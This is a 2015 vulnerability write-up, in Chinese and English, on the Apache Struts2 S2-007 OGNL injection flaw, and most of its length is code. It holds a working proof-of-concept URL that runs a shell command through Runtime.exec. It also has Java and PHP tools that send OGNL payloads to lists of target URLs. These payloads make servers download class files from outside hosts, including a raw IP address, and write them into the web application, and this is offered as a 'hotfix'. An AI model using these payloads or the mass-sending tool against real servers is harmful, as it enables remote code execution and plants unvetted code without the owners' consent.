catalog
1. Description 2. Effected Scope 3. Exploit Analysis 4. Principle Of Vulnerability 5. Patch Fix
1. Description
S2-007和S2-003、S2-005的漏洞源頭都是一樣的,都是struts2對OGNL的解析過程中存在漏洞,導致黑客可以通過OGNL表示式實現程式碼注入和執行,所不同的是
1. S2-003、S2-005: 通過OGNL的name-value的賦值解析過程、#訪問全域性靜態變數(AOP思想)實現程式碼執行 2. S2-007: 通過OGNL中String向long轉換過程實現程式碼執行 //即它們的攻擊向量是不同的
User input is evaluated as an OGNL expression when there's a conversion error. This allows a malicious user to execute arbitrary code.
關於struts2 OGNL的相關知識,請參閱另一篇文章
http://www.cnblogs.com/LittleHann/p/4614488.html //搜尋:5. struts2 OGNL表示式
Relevant Link:
http://struts.apache.org/docs/s2-007.html http://cve.scap.org.cn/CVE-2012-0838.html
2. Effected Scope
Struts 2.0.0 - Struts 2.2.3
3. Exploit Analysis
0x1: POC
http://localhost:8080/S2-XX/Login.action?id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
4. Principle Of Vulnerability
Apache Struts 2.2.3.1之前的2版本中存在漏洞,該漏洞源於在處理轉換錯誤時評估字串為OGNL表示式。遠端攻擊者可利用此漏洞藉助無效的輸入,修改run-time資料值,進而執行任意程式碼
5. Patch Fix
0x1: upgrade struts2
It is strongly recommended to upgrade to Struts 2.3.1.1, which contains the corrected classes.
0x2: Hotfix
import java.io.BufferedReader; import java.io.File; import java.io.FileReader; public class StrutsFix { private static final String pay1="redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/util/\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie$Node.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie$Node\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}"; private static final String pay2="redirect:${%23ioc%3d%23context.get('com.opensymphony.xwork2.ActionContext.container'),%23dam%3dnew%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],%23dam%3d%23ioc.getInstance(%23dam),%23field%3d(%23dam.getClass().toString().equals(\"class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper\")?%23dam.getClass().getDeclaredField(\"prefixTrie\"):%23dam.getClass().getSuperclass().getDeclaredField(\"prefixTrie\")),%23field.setAccessible(true),%23ptree%3d%23field.get(%23dam),%23ptree.put(\"redirect:\",null),%23ptree.put(\"redirectAction:\",null),'ITSOK'}"; private static final String pay3="debug=command&expression=%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/interceptor/debugging\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/DebuggingInterceptor.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/DebuggingInterceptor\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),'ITSOK'"; private static final String pay4="debug=command&expression=%23dai%3d%23context.get('com.opensymphony.xwork2.ActionContext.actionInvocation'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode(\"false\")}"; public static void main(String[] args) throws Exception{ if (args==null || args.length==0){ args = new String[]{"/Users/arno/ip2.txt"}; } File f = new File(args[0]); BufferedReader bf =new BufferedReader(new FileReader(f)); String line = bf.readLine(); int urlCont=0; while ( line !=null) { urlCont++; if (urlCont % 2==0 ){ Thread.currentThread().sleep(100); } if (urlCont % 5==0 ){ Thread.currentThread().sleep(300); } new Thread(new Runnable() { @Override public void run() { String url = Thread.currentThread().getName(); System.out.println(""); System.out.print(url); if (url!=null){ url=url.trim(); } if ( ! url.toLowerCase().startsWith("http://")){ url ="http://"+url; } if ( url.indexOf("?")<1){ url =url+"?"; } try{ java.net.URL urlfile = new java.net.URL(url+"&"+pay1); java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection(); connection.addRequestProperty("Connection", "close"); connection.setConnectTimeout(2000); connection.setReadTimeout(100); connection.connect(); System.out.print(connection.getResponseCode()); connection.disconnect(); connection=null; urlfile=null; }catch (Exception e){ System.out.print("SendRedirectError:"+ e.getLocalizedMessage() ); } try{ java.net.URL urlfile = new java.net.URL(url+"&"+pay2); java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection(); connection.addRequestProperty("Connection", "close"); connection.setConnectTimeout(2000); connection.setReadTimeout(100); connection.connect(); System.out.print(connection.getResponseCode()); connection.disconnect(); connection=null; urlfile=null; }catch (Exception e){ System.out.print("SendRedirectError:"+ e.getLocalizedMessage() ); } try{ java.net.URL urlfile = new java.net.URL(url+"&"+pay3); java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection(); connection.addRequestProperty("Connection", "close"); connection.setConnectTimeout(2000); connection.setReadTimeout(10); connection.connect(); System.out.print(connection.getResponseCode()); connection.disconnect(); connection=null; urlfile=null; }catch (Exception e){ System.out.print("SendDebugError:"+ e.getLocalizedMessage() ); } try{ java.net.URL urlfile = new java.net.URL(url+"&"+pay4); java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection(); connection.addRequestProperty("Connection", "close"); connection.setConnectTimeout(2000); connection.setReadTimeout(10); connection.connect(); System.out.print(connection.getResponseCode()); connection.disconnect(); connection=null; urlfile=null; }catch (Exception e){ System.out.print("SendDebugError:"+ e.getLocalizedMessage() ); } } }, line).start(); line = bf.readLine(); } } }
0x3: PHP API
else if ($vultype == "1110") { $pay1 = 'redirect:${%23req%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/util/"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie$Node.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}'; $pay2 = 'redirect:${#ioc%3d#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),#dam%3dnew org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],#dam%3d#ioc.getInstance(#dam),#field%3d(#dam.getClass().toString().equals("class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),#field.setAccessible(true),#ptree%3d#field.get(#dam),#ptree.put("redirect:",null),#ptree.put("redirectAction:",null),#dai%3d#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),#field%3d#dai.getClass().getDeclaredField(\'interceptors\'),#field.setAccessible(true),#interceptors%3d#field.get(#dai),#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},\'ITSOK\'}'; $pay3 = 'debug=command&expression=%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/DebuggingInterceptor.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),\'ITSOK\''; $pay4 = 'debug=command&expression=%23dai%3d%23context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode("false")},#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}'; //存在struts2漏洞的url: http://target:8080/struts2-blank/example/HelloWorld.action $url = $_GET['url']; if (empty($url)) { die('{"return_code":0,"return_str":"struts2 url missing"}'); } $url = urldecode($url); if ( strpos($url, "http://") !== 0 ) { $url = "http://" . $url; } if ( strpos($url, "?") === false ) { $url = $url . "?"; } $url = substr($url, 0, strpos($url, "?") + 1); $md5 = $url . $pay1; $res = file_get_contents( $url . $pay1 ); sleep(1); $md5 .= " " . $url . $pay2; $res = file_get_contents( $url . $pay2 ); sleep(1); $md5 .= " " . $url . $pay3; $res = file_get_contents( $url . $pay3 ); sleep(1); $md5 .= " " . $url . $pay4; $res = file_get_contents( $url . $pay4 ); saveToScanDB($client_ip, $url, $md5, $t, $vultype, $platform); die('{"return_code":0,"return_str":"push success"}'); }
0x4: POC原理
1. $pay1 redirect:${ #req=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"), #pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/util/"), #pf.mkdirs(), #f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie.class"), #url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"), #conn=#url.openConnection(), #conn.connect(), #is=#conn.getInputStream(), #os=new java.io.FileOutputStream(#f), #len=#is.available(), #b=new byte[#len], #is.read(#b), #os.write(#b, 0, #len), #os.flush(), #is.close(), #conn.disconnect(), #f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie$Node.class"), #url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"), #conn=#url.openConnection(), #conn.connect(), #is=#conn.getInputStream(), #os=new java.io.FileOutputStream(#f), #len=#is.available(), #b=new byte[#len], #is.read(#b), #os.write(#b, 0, #len), #os.flush(), #is.close(), #conn.disconnect() } //下載用於修復跳轉OGNL指令的前置過濾器類 2. $pay2 redirect:${ #ioc=#context.get(\'com.opensymphony.xwork2.ActionContext.container\'), #dam=new org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0], #dam=#ioc.getInstance(#dam), #field=(#dam.getClass().toString().equals("class org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")), #field.setAccessible(true), #ptree=#field.get(#dam), #ptree.put("redirect:",null), #ptree.put("redirectAction:",null), #dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'), #field=#dai.getClass().getDeclaredField(\'interceptors\'), #field.setAccessible(true), #interceptors=#field.get(#dai), #interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}, \'ITSOK\' } //載入前置過濾器類,動態關閉redirect、redirectAction開關,並設定URL禁用模式,阻斷攻擊資料包 3. $pay3 debug=command& expression=#req=#context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'), #pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"), #pf.mkdirs(), #f=new java.io.File(#pf.getAbsolutePath()+"/DebuggingInterceptor.class"), #url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"), #conn=#url.openConnection(), #conn.connect(), #is=#conn.getInputStream(), #os=new java.io.FileOutputStream(#f), #len=#is.available(), #b=new byte[#len], #is.read(#b), #os.write(#b, 0, #len), #os.flush(), #is.close(), #conn.disconnect(),\'ITSOK\' //下載用於修復DEBUG命令執行漏洞的過濾器類 4. $pay4 debug=command& expression=#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'), #interceptors=#dai.getProxy().getConfig().getInterceptors(), #interceptor=#interceptors.{? #this.getInterceptor() instanceof org.apache.struts2.interceptor.debugging.DebuggingInterceptor}, #interceptor.{? #this.getInterceptor().setDevMode("false")}, #interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")} //利用DEBUG命令執行漏洞,動態關閉DEBUG指令執行開關,並設定URL禁用模式,阻斷攻擊資料包
Relevant Link:
Copyright (c) 2015 Little5ann All rights reserved